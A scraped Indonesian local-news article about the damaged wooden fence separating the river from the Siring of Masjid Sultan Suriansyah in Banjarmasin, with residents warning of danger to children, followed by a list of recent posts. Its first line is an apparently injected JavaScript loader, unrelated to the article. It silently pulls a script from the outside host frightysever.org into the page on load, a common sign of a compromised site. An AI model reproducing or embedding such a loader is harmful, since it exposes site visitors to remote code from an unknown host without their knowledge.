(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kayu Pagar Pembatas Siring Masjid Sultan Suriansyah Banjarmasin Rusak


KANALKALIMANTAN.COM, BANJARMASIN– Beberapa batang pagar kayu yang membatasi sungai dengan kawasan Siring Masjid Sultan Suriansyah, Jalan Kuin Utara, Kecamatan Banjarmasin Utara, Kota Banjarmasin terlihat jebol.

Pantauan kanalkalimantan.com, Kamis (25/8/2022), pagar pembatas sungai sudah ada yang patah, rusak, hingga terlepas. Salah satu warga setempat, Rohana (55) mengatakan, keadaan pagar pembatas sungai sudah prihatin  sejak kurang kebih tiga tahunan lalu.

“Kurang lebih tiga tahunan kondisinya sudah seperti ini. Sudah pernah diganti, tapi gantinya itu pakai galam waktu itu,” kata Rohana, saat dimintai informasi.

Rohana juga tak memungkiri bahwa pagar yang patah hingga rusak merupakan faktor dari usia kayu yang sudah lama dipakai.

 

Baca juga : Presiden Jokowi Dijadwal Buka MTQ Nasional ke-29 di Kalsel

“Karena pakai galam cepat rusak, mungkin karena hujan makanya rapuh, faktor usia,” sambung Rohana.

Melihat keadaan tersebut, Rohana sempat menyinggung soal keselamatan warga yang sering beraktivitas di kawasan siring tersebut, terutama anak-anak kecil yang bermain di sana.

Menurutnya, hal itu sangat membahayakan. Dimana ketika sore hari banyak masyarakat yang tengah bersantai di Siring tersebut.

“Kalau upaya baru sekali dilakukan, itupun sudah lama. Tidak hanya kayunya tapi juga reng, paku- pakunya juga harus dikuatkan,” jelasnya.

 

Baca juga  : Bappedalitbang Banjar Serahkan Penghargaan Lomba Inovasi Daerah 2022

Senada dengan Rohana, seorang pedagang di kawasan siring bernama Usri (66) mengatakan sejak dirinya berjualan di kawasan tersebut yakni selama dua tahun kondisi pagar sudah begitu.

Bahkan dirinya mengungkapkan bahwa tak ada upaya perbaikan apapun yang dilakukan instansi terkait dalam menanggapi hal tersebut.

“Kalau masalah tinjau atau bagaimana saya kurang tahu, tapi dari saya jualan kondisinya begitu tidak ada orang yang memperbaiki,” jelas Usri.

Usri juga menilai rusaknya pagar pembatas itu dikarenakan faktor usia yang sudah lama.

 

Baca juga : BIN Daerah Kalsel Gelar Vaksinasi Covid-19 di Kuin Selatan

“Yang pasti dengan kondisi begitu sangat membahayakan, soalnya kalau sore banyak anak kecil yang main disini, kalau-kalau tercebur ke sungai,” sambung Usri.

Harapan yang sama Rohana dan Usri berharap, agar kandang (pagar) pembatas Sungai itu bisa segera diperbaiki dan ditindaklanjuti oleh pihak terkait.

“Ya semoga bisa segera diperbaiki, karena yang paling itu keselamatan agar tidak terjadi hal hal yang tidak diinginkan,” harap mereka. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.